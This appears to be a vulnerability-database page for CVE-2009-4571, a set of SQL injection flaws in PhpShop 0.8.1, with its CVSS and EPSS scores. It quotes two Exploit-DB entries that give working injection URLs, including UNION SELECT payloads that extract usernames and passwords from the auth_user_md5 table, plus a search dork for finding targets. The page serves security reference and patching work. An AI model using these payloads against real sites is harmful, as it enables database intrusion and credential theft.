CVE-2009-4571
published 2010-01-05CVE-2009-4571: Multiple SQL injection vulnerabilities in index.php in PhpShop 0.8.1 allow remote attackers to execute arbitrary SQL commands via the (1) module_id parameter…
PriorityP344high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
2.02%
78.5th percentile
Multiple SQL injection vulnerabilities in index.php in PhpShop 0.8.1 allow remote attackers to execute arbitrary SQL commands via the (1) module_id parameter in an admin/function_list action, the (2) vendor_id parameter in a vendor/vendor_form action, the (3) module_id parameter in an admin/module_form action, the (4) user_id parameter in an admin/user_form action, the (5) vendor_category_id parameter in a vendor/vendor_category_form action, the (6) user_id parameter in a store/user_form action, the (7) payment_method_id parameter in a store/payment_method_form action, the (8) tax_rate_id parameter in a tax/tax_form action, or the (9) category parameter in a shop/browse action. NOTE: the product_id vector is already covered by CVE-2008-0681.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| phpshop | phpshop | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
phpShop 2.0 - SQL Injection
exploitdb·2013-01-14
CVE-2009-4571 phpShop 2.0 - SQL Injection
phpShop 2.0 - SQL Injection
---
# Exploit Title : phpshop 2.0 SQL Injection Vulnerability
# Author : By onestree
# Software Link : http://code.google.com/p/phpshop/downloads/list
# tested : windows 7 / ubuntu
# Dork : inurl:"tanyakan pada rumput yang bergoyang"
SQLi p0c:
http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
Thanks :
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
indonesiancoder - moeslimh4x0r - go-coder
Exploit-DB
phpShop 0.8.1 - Multiple Vulnerabilities
exploitdb·2009-12-05
CVE-2009-4571 phpShop 0.8.1 - Multiple Vulnerabilities
phpShop 0.8.1 - Multiple Vulnerabilities
---
Vendor: http://www.phpshop.org/
Discovered By: Andrea Fabrizi
Email: [email protected]
Web: http://www.andreafabrizi.it
### SQL INJECTION
http://server/phpshop-0.8.1/?page=admin/function_list&module_id=111111' union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://server/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5 -- aaa
http://server/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4' and '1'='1
http://server/phpshop-0
No writeups or analysis indexed.
http://secunia.com/advisories/31948http://www.andreafabrizi.it/?exploits:phpshophttp://www.securityfocus.com/archive/1/508270/100/0/threadedhttp://www.securityfocus.com/bid/37227https://exchange.xforce.ibmcloud.com/vulnerabilities/54584http://secunia.com/advisories/31948http://www.andreafabrizi.it/?exploits:phpshophttp://www.securityfocus.com/archive/1/508270/100/0/threadedhttp://www.securityfocus.com/bid/37227https://exchange.xforce.ibmcloud.com/vulnerabilities/54584
2010-01-05
Published